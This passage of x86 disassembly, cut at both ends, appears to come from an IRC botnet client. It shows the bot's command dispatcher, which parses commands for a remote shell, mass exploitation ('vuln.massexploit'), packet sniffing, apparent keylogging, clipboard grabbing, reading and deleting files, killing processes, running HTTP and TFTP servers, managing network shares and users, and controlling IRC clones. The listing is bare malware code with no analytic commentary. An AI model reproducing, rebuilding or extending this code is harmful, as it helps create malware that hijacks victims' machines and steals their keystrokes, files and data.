		pop	ecx
		jz	loc_410562
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410562
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410549
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410549
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410502
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410502
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C99D
		push	dword ptr [ebp+esi-90h]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C99D:				; CODE XREF: seg000:0040C983j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CA2A
		cmp	[ebp-8], ebx
		jnz	short loc_40C9CD
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h


loc_40C9CD:				; CODE XREF: seg000:0040C9B1j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40C9D2:				; CODE XREF: seg000:0040CA18j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40C9DE
		mov	eax, offset aEmpty ; "<Empty>"


loc_40C9DE:				; CODE XREF: seg000:0040C9D7j
		push	eax
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40C9D2
		push	offset dword_42AFD4


loc_40CA1F:				; CODE XREF: seg000:004109E7j
		call	sub_409615
		pop	ecx
		jmp	loc_410E98
; ---------------------------------------------------------------------------


loc_40CA2A:				; CODE XREF: seg000:0040C9ACj
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4104C1
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4104C1
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410496
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410496
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410472
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410472
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410435
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410435
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41029B
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41029B
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41015D
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41015D
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FE5E
		push	edi
		push	offset aVall	; "vall"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FE5E
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	loc_40B71F
		push	dword ptr [ebp+10h]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FE45
		push	dword ptr [ebp+10h]
		push	offset aEnz_n	; "enz.n"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FE45
		push	dword ptr [ebp+10h]
		push	offset aEnz_join ; "enz.join"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FE25
		push	dword ptr [ebp+10h]
		push	offset aEnz_j	; "enz.j"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FE25
		push	dword ptr [ebp+10h]
		push	offset aEnz_part ; "enz.part"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FE0C
		push	dword ptr [ebp+10h]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FE0C
		push	dword ptr [ebp+10h]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FDD5
		push	dword ptr [ebp+10h]
		push	offset aEnz_r	; "enz.r"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FDD5
		push	dword ptr [ebp+10h]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD12
		push	dword ptr [ebp+10h]
		push	offset aThreads_k ; "threads.k"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD12
		push	dword ptr [ebp+10h]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC67
		push	dword ptr [ebp+10h]
		push	offset aClone_q	; "clone.q"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC67
		push	dword ptr [ebp+10h]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC1C
		push	dword ptr [ebp+10h]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC1C
		push	dword ptr [ebp+10h]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC07
		push	dword ptr [ebp+10h]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FC07
		push	dword ptr [ebp+10h]
		push	offset aBox_open ; "box.open"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBDD
		push	dword ptr [ebp+10h]
		push	offset aBox_o	; "box.o"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBDD
		push	dword ptr [ebp+10h]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBB8
		push	dword ptr [ebp+10h]
		push	offset aEnz_se	; "enz.se"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBB8
		push	dword ptr [ebp+10h]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FB56
		push	dword ptr [ebp+10h]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FB56
		push	dword ptr [ebp+10h]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FB2A
		push	dword ptr [ebp+10h]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FB2A
		push	dword ptr [ebp+10h]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FACF
		push	dword ptr [ebp+10h]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FACF
		push	dword ptr [ebp+10h]
		push	offset aBox_delete ; "box.delete"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA98
		push	dword ptr [ebp+10h]
		push	offset aBox_del	; "box.del"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA98
		push	dword ptr [ebp+10h]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F9B7
		push	dword ptr [ebp+10h]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F9B7
		push	dword ptr [ebp+10h]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F99C
		push	dword ptr [ebp+10h]
		push	offset aBox_fl	; "box.fl"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F99C
		push	dword ptr [ebp+10h]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F8BE
		push	dword ptr [ebp+10h]
		push	offset aEnz_v	; "enz.v"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F8BE
		push	dword ptr [ebp+10h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F883
		push	dword ptr [ebp+10h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F883
		push	dword ptr [ebp+10h]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F838
		push	dword ptr [ebp+10h]
		push	offset aBox_cm	; "box.cm"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F838
		push	dword ptr [ebp+10h]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F7B3
		push	dword ptr [ebp+10h]
		push	offset aBox_rf	; "box.rf"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F7B3
		push	dword ptr [ebp+10h]
		push	offset aSniff	; "sniff"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D041
		push	edi
		push	offset aOn	; "on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D00C
		push	18h
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jle	short loc_40CF39
		push	offset unk_42AD2C
		jmp	loc_40D0AD
; ---------------------------------------------------------------------------


loc_40CF39:				; CODE XREF: seg000:0040CF2Dj
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jnz	short loc_40CF7B
		mov	esi, offset dword_4282E4
		push	offset byte_42E348
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CF7B
		mov	esi, [ebp-8Ch]


loc_40CF7B:				; CODE XREF: seg000:0040CF5Dj
					; seg000:0040CF73j
		push	esi
		lea	eax, [ebp-4D8h]
		push	80h
		push	eax
		call	sub_413B2A
		lea	eax, [ebp-2C8h]
		push	offset unk_42ACE8
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	18h
		push	eax
		call	sub_413059
		add	esp, 20h
		mov	[ebp-458h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	offset loc_4024DC
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-458h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40CFFB


loc_40CFE5:				; CODE XREF: seg000:0040CFF9j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40D1C9
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40CFE5
; ---------------------------------------------------------------------------


loc_40CFFB:				; CODE XREF: seg000:0040CFE3j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AC98
		jmp	loc_40D1BA
; ---------------------------------------------------------------------------


loc_40D00C:				; CODE XREF: seg000:0040CF1Dj
		push	edi
		push	offset aOff	; "off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D1C9
		push	ebx
		push	18h
		call	sub_413254
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40D03A
		push	eax
		push	offset unk_42AC48
		jmp	loc_40D1BA
; ---------------------------------------------------------------------------


loc_40D03A:				; CODE XREF: seg000:0040D02Dj
		push	offset unk_42AC0C
		jmp	short loc_40D0AD
; ---------------------------------------------------------------------------


loc_40D041:				; CODE XREF: seg000:0040CF08j
		push	dword ptr [ebp+10h]
		push	offset aBox_kog	; "box.kog"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D1F3
		push	edi
		push	offset aOn	; "on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D0C0
		push	edi
		push	offset aFile	; "file"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D0C0
		push	edi
		push	offset aOff	; "off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D1C9
		push	ebx
		push	1Ah
		call	sub_413254
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40D0A8
		push	eax
		push	offset unk_42ABAC
		jmp	loc_40D1BA
; ---------------------------------------------------------------------------


loc_40D0A8:				; CODE XREF: seg000:0040D09Bj
		push	offset unk_42AB6C


loc_40D0AD:				; CODE XREF: seg000:0040CF34j
					; seg000:0040D03Fj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	loc_40D1C9
; ---------------------------------------------------------------------------


loc_40D0C0:				; CODE XREF: seg000:0040D067j
					; seg000:0040D078j
		push	1Ah
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jle	short loc_40D0D3
		push	offset unk_42AB38
		jmp	short loc_40D0AD
; ---------------------------------------------------------------------------


loc_40D0D3:				; CODE XREF: seg000:0040D0CAj
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		push	offset aFile	; "file"
		mov	[ebp-454h], eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D102
		mov	dword ptr [ebp-450h], 1
		jmp	short loc_40D10B
; ---------------------------------------------------------------------------


loc_40D102:				; CODE XREF: seg000:0040D0F4j
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax


loc_40D10B:				; CODE XREF: seg000:0040D100j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_40D132
		mov	esi, offset dword_4282E0
		push	offset byte_42E348
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D132
		mov	esi, [ebp-8Ch]


loc_40D132:				; CODE XREF: seg000:0040D114j
					; seg000:0040D12Aj
		push	esi
		lea	eax, [ebp-4D4h]
		push	80h
		push	eax
		call	sub_413B2A
		lea	eax, [ebp-2C8h]
		push	offset unk_42AB04
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ah
		push	eax
		call	sub_413059
		add	esp, 20h
		mov	[ebp-4D8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	offset sub_4021FB
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-4D8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40D1AE


loc_40D19C:				; CODE XREF: seg000:0040D1ACj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_40D1C9
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40D19C
; ---------------------------------------------------------------------------


loc_40D1AE:				; CODE XREF: seg000:0040D19Aj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AAB4


loc_40D1BA:				; CODE XREF: seg000:0040D007j
					; seg000:0040D035j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_40D1C9:				; CODE XREF: seg000:0040CFEBj
					; seg000:0040D01Bj ...
		cmp	[ebp-8], ebx
		jnz	loc_40BCFF
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h
		jmp	loc_40BCFF
; ---------------------------------------------------------------------------


loc_40D1F3:				; CODE XREF: seg000:0040D052j
		push	dword ptr [ebp+10h]
		push	offset aBox_net	; "box.net"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D4C4
		cmp	ds:dword_42F7D8, ebx
		jz	short loc_40D224
		cmp	ds:dword_42F800, ebx
		jz	short loc_40D224
		push	offset dword_42AA60
		jmp	loc_40D47E
; ---------------------------------------------------------------------------


loc_40D224:				; CODE XREF: seg000:0040D210j
					; seg000:0040D218j
		cmp	[ebp-0Ch], ebx
		jz	loc_40D48C
		mov	eax, [ebp+esi-8Ch]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_40D24C
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_40D24C:				; CODE XREF: seg000:0040D23Cj
		push	edi
		push	offset aStart	; "start"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2B2
		cmp	[ebp+20h], ebx
		jz	short loc_40D286
		push	dword ptr [ebp+8]
		push	3


loc_40D267:				; CODE XREF: seg000:0040D2C8j
					; seg000:0040D2E0j ...
		call	sub_41114B
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4135AD
		add	esp, 14h
		jmp	loc_40D48C
; ---------------------------------------------------------------------------


loc_40D286:				; CODE XREF: seg000:0040D260j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4113F2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D2A8
		push	offset dword_42AA20
		jmp	loc_40D47E
; ---------------------------------------------------------------------------


loc_40D2A8:				; CODE XREF: seg000:0040D29Cj
		push	offset dword_42A9EC
		jmp	loc_40D47E
; ---------------------------------------------------------------------------


loc_40D2B2:				; CODE XREF: seg000:0040D25Bj
		push	edi
		push	offset aStop	; "stop"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2CA
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_40D267
; ---------------------------------------------------------------------------


loc_40D2CA:				; CODE XREF: seg000:0040D2C1j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2E2
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_40D267
; ---------------------------------------------------------------------------


loc_40D2E2:				; CODE XREF: seg000:0040D2D9j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2FD
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_40D267
; ---------------------------------------------------------------------------


loc_40D2FD:				; CODE XREF: seg000:0040D2F1j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D318
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_40D267
; ---------------------------------------------------------------------------


loc_40D318:				; CODE XREF: seg000:0040D30Cj
		push	edi
		push	offset aShare	; "share"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D395
		cmp	[ebp+20h], ebx
		jz	short loc_40D368
		cmp	[ebp-9B0h], bl
		jz	short loc_40D33E
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		jmp	short loc_40D349
; ---------------------------------------------------------------------------


loc_40D33E:				; CODE XREF: seg000:0040D334j
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	ebx


loc_40D349:				; CODE XREF: seg000:0040D33Cj
		call	sub_41152F
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4135AD
		add	esp, 18h
		jmp	loc_40D48C
; ---------------------------------------------------------------------------


loc_40D368:				; CODE XREF: seg000:0040D32Cj
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_411724
		add	esp, 10h
		test	eax, eax
		jz	short loc_40D38B
		push	offset dword_42A98C
		jmp	loc_40D47E
; ---------------------------------------------------------------------------


loc_40D38B:				; CODE XREF: seg000:0040D37Fj
		push	offset dword_42A958
		jmp	loc_40D47E
; ---------------------------------------------------------------------------


loc_40D395:				; CODE XREF: seg000:0040D327j
		push	edi
		push	offset aUser	; "user"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D431
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40D40A
		cmp	[ebp-9B0h], bl
		jz	short loc_40D3CB
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40D3EB
; ---------------------------------------------------------------------------


loc_40D3CB:				; CODE XREF: seg000:0040D3B7j
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40D3E7
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40D3EB
; ---------------------------------------------------------------------------


loc_40D3E7:				; CODE XREF: seg000:0040D3E0j
		push	ebx
		push	eax
		push	2


loc_40D3EB:				; CODE XREF: seg000:0040D3C9j
					; seg000:0040D3E5j
		call	sub_411845
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4135AD
		add	esp, 24h
		jmp	loc_40D48C
; ---------------------------------------------------------------------------


loc_40D40A:				; CODE XREF: seg000:0040D3AFj
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_411D59
		add	esp, 10h
		test	eax, eax
		jz	short loc_40D42A
		push	offset dword_42A91C
		jmp	short loc_40D47E
; ---------------------------------------------------------------------------


loc_40D42A:				; CODE XREF: seg000:0040D421j
		push	offset dword_42A8EC
		jmp	short loc_40D47E
; ---------------------------------------------------------------------------


loc_40D431:				; CODE XREF: seg000:0040D3A4j
		push	edi
		push	offset aSend	; "send"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D479
		cmp	[ebp+20h], ebx
		jz	short loc_40D472
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	loc_41200D
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4135AD
		add	esp, 1Ch
		jmp	short loc_40D48C
; ---------------------------------------------------------------------------


loc_40D472:				; CODE XREF: seg000:0040D445j
		push	offset dword_42A8B8
		jmp	short loc_40D47E
; ---------------------------------------------------------------------------


loc_40D479:				; CODE XREF: seg000:0040D440j
		push	offset dword_42A888


loc_40D47E:				; CODE XREF: seg000:0040D21Fj
					; seg000:0040D2A3j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_40D48C:				; CODE XREF: seg000:0040D227j
					; seg000:0040D281j ...
		cmp	[ebp-8], ebx
		jnz	short loc_40D4AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h


loc_40D4AD:				; CODE XREF: seg000:0040D48Fj
					; seg000:0040F828j ...
		mov	esi, [ebp+2Ch]


loc_40D4B0:				; CODE XREF: seg000:0040BD02j
					; seg000:0040FB03j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		pop	ecx
		mov	eax, esi
		jmp	loc_40B722
; ---------------------------------------------------------------------------


loc_40D4C4:				; CODE XREF: seg000:0040D204j
		push	dword ptr [ebp+10h]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F6CF
		push	dword ptr [ebp+10h]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F6CF
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_40B71F
		push	dword ptr [ebp+10h]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F690
		push	dword ptr [ebp+10h]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F690
		push	dword ptr [ebp+10h]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F63D
		push	dword ptr [ebp+10h]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F63D
		push	dword ptr [ebp+10h]
		push	offset aEnz_action ; "enz.action"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F5CF
		push	dword ptr [ebp+10h]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F5CF
		push	dword ptr [ebp+10h]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F56C
		push	dword ptr [ebp+10h]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F56C
		push	dword ptr [ebp+10h]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F52D
		push	dword ptr [ebp+10h]
		push	offset aEnz_m	; "enz.m"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F52D
		push	dword ptr [ebp+10h]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F4C2
		push	dword ptr [ebp+10h]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F4C2
		push	dword ptr [ebp+10h]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F440
		push	dword ptr [ebp+10h]
		push	offset aClone_m	; "clone.m"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F440
		push	dword ptr [ebp+10h]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F3CF
		push	dword ptr [ebp+10h]
